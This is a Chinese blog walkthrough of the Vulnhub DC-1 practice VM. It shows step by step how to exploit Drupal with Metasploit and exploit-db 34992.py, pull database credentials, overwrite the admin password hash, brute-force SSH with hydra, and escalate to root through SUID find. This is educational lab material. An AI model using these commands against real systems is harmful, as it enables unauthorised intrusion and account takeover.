Vulnhub靶场DC-1练习

news2024/10/5 3:26:27

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用

0x00 准备

下载链接:https://download.vulnhub.com/dc/DC-1.zip

介绍:There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.(一共有五个flags,最终目标是进入root用户的目录。)

启动以后如下图:

在这里插入图片描述

将网络连接设置成桥接模式。

0x01 主机信息收集

发现主机:netdiscover -i eth0
在这里插入图片描述
可以确定目标主机的IP为192.168.2.145,本机的IP为192.168.2.157。

探测目标主机开放的端口:nmap -sS -sV -A -n 192.168.2.145

在这里插入图片描述

可以看到开启了22端口,80端口。

0x02 站点信息收集

访问80端口:http://192.168.2.145:80

在这里插入图片描述

网站是drupal的内容管理框架,由PHP编写的。可以明显的看出cms。

用dirb扫描一下网站目录:dirsearch -u 192.168.2.145 -e *

在这里插入图片描述
在这里插入图片描述

没有很特别的地方,可以先放一放这些目录。

0x03 漏洞查找与利用

已经知道是drupal的cms了,可以去查找一下相关的漏洞。这里直接用msf。

启动msf:msfconsole

搜索drupal相关的信息:search drupal

在这里插入图片描述

选择模块4:use 4

查看选项:show options

在这里插入图片描述

需要设置rhost,目的主机的IP:set rhosts 192.168.2.125

再运行:run

在这里插入图片描述

获得普通shell:shell

在这里插入图片描述

查看一下文件目录:ls

在这里插入图片描述

查看flag1.txt文件的内容:cat flag1.txt

在这里插入图片描述

这个文件提示我们去看一下配置文件。搜索drupal的配置文件,/site/default/settings.php,查看这个文件的内容:cat /site/default/settings.php

提示不存在这个这个文件,也许是换目录了,于是搜索:find / -name settings.php

在这里插入图片描述

找到了文件目录,再查看一下文件内容:cat /var/www/sites/default/settings.php

在这里插入图片描述

可以看到数据库的相关信息。

现在是普通shell,接下来升级成半交互式的shell来登录数据库:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

可以看到这个shell还只是普通用户(www-data),没有root权限。根据前面的提示进入mysql数据库:mysql -u dbuser -p R0ck3t

收集数据库中的信息:

显示所有的数据库:show databases;

切换数据库:use drupaldb

显示当前数据库的所有表:show tables;

看到一个user表,查看这个表的内容:select * from users;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

有两个用户,密码都加盐了。考虑给admin换个密码,或者添加一个和admin有一样权限的用户。

方式一:给admin换个密码123456

数据库里的密码是加密的,先找到drupal的加密文件/var/www/scripts/password-hash.sh,这个脚本是php写的,还能用php加上参数来运行,直接得到加密后的密码。所以用这个文件给123456加密:php /var/www/scripts/password-hash.sh 123456 (注意这里要先退出mysql)

在这里插入图片描述

框起来的部分就是123456加密后的内容了,复制一下: S S SDKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif

再进入mysql的drupaldb数据库的users表里,将name为admin的pass修改为上面复制的加密内容:update users set pass='$S$DKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif' where name='admin';

在这里插入图片描述

可以看到admin的密码已经更改为123456了。

方式二:添加一个admin权限的用户

drupal7版本有个sql注入的漏洞,可以添加一个admin权限的用户。Searchsploit会通过本地的exploit-db查找软件漏洞信息。在kali的终端里:searchsploit drupal 就可以查找drupal相关的漏洞信息。

在这里插入图片描述

利用这个脚本,path中有这个脚本的相对路径,前面的路径是/usr/share/exploitdb/exploits/,也可以利用命令查找这个脚本的完整路径:searchsploit 34992.py -p

在这里插入图片描述

再来看一下这个脚本的使用方法:python /usr/share/exploitdb/exploits/php/webapps/34992.py

在这里插入图片描述

添加一个名字为flag密码为flag的用户:python /usr/share/exploitdb/exploits/php/webapps/34992.py -u http://192.168.2.145 -u flag -p flag

在这里插入图片描述

可以看到插入用户成功了,可以进mysql里看一下是不是有:

在这里插入图片描述

用了上面两个方法以后,再去浏览器器中登录:http://192.168.2.145,用admin-123456也可以登陆成功,用flag-flag也可以登录成功。

在这里插入图片描述

可以看到已经登录成功了。找找看有没有什么有用的信息:

在这里插入图片描述

点进去这个flag3:

在这里插入图片描述

提示passwd和shadow文件有可以信息。

继续在msf的shell中查看/etc/passwd文件:tac /etx/passwd (cat是cong第一行到最后一行连续输出到屏幕上,tac是从最后一行到第一行连续输出到屏幕上。)

在这里插入图片描述

可以看到有个flag4用户。有两种思路拿到这个用户的密码,一个是爆破,一个是提权打开shadow文件查看这个用户的密码。

进行爆破:hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.2.145

在这里插入图片描述

爆破出来的可以登录的用户名和密码已经高亮显示出来了。

再去msf的shell中ssh连接(直接在kali的终端中也可以):ssh flag4@192.168.2.145

在这里插入图片描述

flag4文件的内容提示:你能用相同的方式登录root用户吗?也许可以,但是很难。

考虑SUID提权。

找到正在系统上运行的所有SUID可执行文件:find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

发现find命令具有suid的权限。那就用可以执行root权限的find命令来查找文件,做到suid提权。find命令也有执行命令的能力,-exec必须以 ; 来结束命令,由于分号在各个系统中有不同的意义,所以前面加反斜杠。

使用exec查看当前用户:find / index.php -exec "/bin/sh" \; (这里的index.php可以是任意文件名,只要是能在前面指定的根目录 / 下能确定找到的文件就可以。exec后面的命令不加双引号好像也可以。)

再用whoami命令看一下提权成功了没。

在这里插入图片描述

可以看到当前的用户为root。直接进入/root查看flag。

#0x04 思路总结

netdiscover探测目标主机IP,nmap查看主机开放的端口服务。浏览器访问站点进行站点相关的信息收集,用dirsearch扫一下站点的目录。上msf找模块利用。获得普通用户的shell,找数据库相关的信息,登录数据库,修改密码。网站登录用户,查找提示信息。用hydra爆破目标主机的用户密码,ssh连接目标主机,用find命令进行SUID提权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421632.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

常见的DNS攻击与防御

DNS查询通常都是基于UDP的,这就导致了在查询过程中验证机制的缺失,黑客很容易利用该漏洞进行分析。DNS服务可能面临如下DNS攻击风险: 黑客伪造客户端源IP地址发送大量的DNS请求报文,造成DNS request flood攻击。黑客伪造成授权服…

Node.js安装与配置步骤

前言一、安装Node.js1.下载2.安装3.添加环境变量二、验证是否安装成功三、修改模块下载位置1.查看npm默认存放位置2.在 nodejs 安装目录下,创建 “node_global” 和 “node_cache” 两个文件夹3.修改默认文件夹4.测试默认位置是否更改成功四、设置淘宝镜像1.将npm默…

ARM Linux 内核启动2 ——C语言阶段

一、内核启动的C语言阶段 1 1、这一块的学习思路 (1) 抓大放小,不深究。 (2) 感兴趣可以就某个话题去网上搜索资料学习。 (3) 重点局部深入分析。 2、具体学习方法 (1) 顺着代码执行路径抓全。这是我们的学习主线。 (2) 对照内核启动的打印信息进行分析。 3、…

Ansible批量部署采集器

千台服务器部署采集器的时候用到了 Ansible,简单记录一下。 安装 Ansible pip install ansible yum install ansible –y在 /etc/ansible/hosts 中添加被管理组 ,比如图中[web] 是组的名字。 执行ansible命令测试,通过hosts中定义的web组执…

君子签「数据签」正式上线,推动企业电子合同实现高效安全签署

近年来,从政府机关到企事业单位,数字化转型步伐明显加快。 在数字化的驱动下,在各行业的服务过程中,君子签对产品部署有了更深的沉淀和经验,通过不断打磨、升级产品,「数据签」产品于近日正式上线&#xf…

Word这样用,提高效率不加班

Word这样用,提高效率不加班 今天给大家分享23条Word文档的应用小技巧。对于大家来说,掌握些技巧能够效率百倍,何乐不为? 这些技巧是本人通过整理一直在用并且使用频率较高的,也希望能帮到大家。有兴趣的小伙伴可以自己…

Python | 基于LendingClub数据的分类预测研究Part01——问题重述+特征选择+算法对比

欢迎交流学习~~ 专栏: 机器学习&深度学习 本文利用Python对数据集进行数据分析,并用多种机器学习算法进行分类预测。 具体文章和数据集可以见我所发布的资源:发布的资源 Python | 基于LendingClub数据的分类预测研究Part01——问题重述特…

多路I/O转接 Epoll

基本概述 epoll是Linux下多路复用IO接口select/poll的增强版本,它能显著提高程序在大量并发连接中只有少量活跃的情况下的系统CPU利用率,因为它会复用文件描述符集合来传递结果而不用迫使开发者每次等待事件之前都必须重新准备要被监听的文件描述符集合…

从输入url到页面展现(二)找服务器其实是在找IP地址

前言 前一节我们讲述了url的规则,url的几种类型,以及访问web服务器的时候,如果用户访问的url如果不包含index.html的话,大概会如何去寻找这个url对应的文件,如果感兴趣的同学可以回头去看上一篇:从输入url…

PyTorch中的可视化工具

目录 一、网络结构的可视化 1.1 通过HiddenLayer可视化网络 1.2 通过PyTorchViz可视化网络 二、训练过程可视化 2.1 通过tensorboardX可视化训练过程 2.2 HiddenLayer可视化训练过程 三、使用Visdom进行可视化 一、网络结构的可视化 我们训练神经网络时,除…

xshell是什么软件

xshell是什么软件? Xshell 是一个强大的远程管理软件,它支持SSH,TELNET 协议。Xshell可以在Windows下访问远端服务器、路由器、网络机顶盒等,类似的常用软件还有putty,以及Windows下的Telnet。 下面简单介绍一下xshell软件。 X…

康耐视Designer,通过VC5与三菱Q系列PLC-SLMP通讯说明

测试使用软件版本 Designer Version: 2.7 GX Works2 Version: 1.77F 测试使用硬件 Cognex Vision Controller VC5 CIC-5000R Mitsubishi PLC: Q06UDEHCPU PLC端设置(内置以太网口型号) 1.新建一个工程,选择对应的PLC系列和PLC类型: 2.PLC参数设置(以太网设置):…

LabVIEW-数值控件和布尔控件

简介 LabVIEW 以其强大、开放、图形化的虚拟仪器软件开发环境使得无论是否有过编程经验的工程师或科学家使用它时都可以快速、高效地与测量和控制硬件通信,并进行复杂的数据分析及处理。LabVIEW集成了满足GPIB、PXI、VXI、RS232、RS485、USB、DAQ等多种形式的设备互…

MATLAB算法实战应用案例精讲-【自动驾驶】激光雷达LiDAR(补充篇)

目录 前言 几个高频面试题目 自动驾驶中的传感器:LiDAR和 Radar的区别 LiDAR Radar 性能对比 激光雷达中是如何做到和GPS时间同步的? 一、三种方案PPSGPRMC、PTP、gPTP 二、同步过程 算法原理 发展历程 国内外厂商 算法思想 测距 三角测…

【博学谷学习记录】超强总结,用心分享丨人工智能 AI项目 前向概率计算笔记

目录前向概率模型基础参数公式推导代码实现前向概率 给定隐马尔可夫模型λ\lambdaλ,定义到时刻ttt部分观测序列为o1,o2,⋯,oto_1,o_2,\cdots,o_to1​,o2​,⋯,ot​且状态为sis_isi​的概率为前向概率,记作αt(i)P(o1,o2,⋯,ot,itsi∣λ)\alpha_t(i)P(o…

GDPU C语言 天码行空9

填空题 1. 指针排序 数组 输入 n5 30 85 12 77 6输出 6 12 30 77 85 &#x1f920; 代码 #include<stdio.h>#define N 10void sort(int *x,int n)// *x 是 数组 a 的地址 {int i,j,k,t;for(i0;i<n-1;i)//从前往后枚举 坑位{ki; for(ji1;j<n;j) if(x[k…

计算机网络 实验五

⭐计网实验专栏&#xff0c;欢迎订阅与关注&#xff01; ★观前提示&#xff1a;本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求&#xff0c;因此以下内容建议仅做思路参考。 一、实验目的 理解DNS的域名解析机制&#xff0c;理解DHCP的工作机制熟悉WEB应用及超…

逍遥自在学C语言 | 位运算符>>的高级用法

前言 在上一篇文章中&#xff0c;我们介绍了<<运算符的高级用法&#xff0c;本篇文章&#xff0c;我们将介绍>> 运算符的一些高级用法。 一、人物简介 第一位闪亮登场&#xff0c;有请今后会一直教我们C语言的老师 —— 自在。 第二位上场的是和我们一起学习的小…

HCIP-6.8BGP的团体属性、BGP联盟

BGP的团体属性、BGP联盟1、Community:团体属性1.1、案例配置2、BGP联盟属性2.1、配置案例&#xff1a;2.2、四种类型的AS_PATH&#xff1a;对于大型网络或者路由条目较多&#xff0c;使用一种BGP特有的路由标记&#xff0c;用于简化路由策略的执行。对于减少路由条目&#xff0…

unity,制作一个环状滑动条

介绍 unity&#xff0c;制作一个环状滑动条 方法 1.导入png图片素材2.新建一个滑动条&#xff0c;两者图片都设置为图片3.调节slider的参数4.调节backgroud的参数5.fill area、fill的参数同上。 得到两个叠加的圆环。6.设置fill的背景颜色为红色7.设置fill填充方式&#xff0…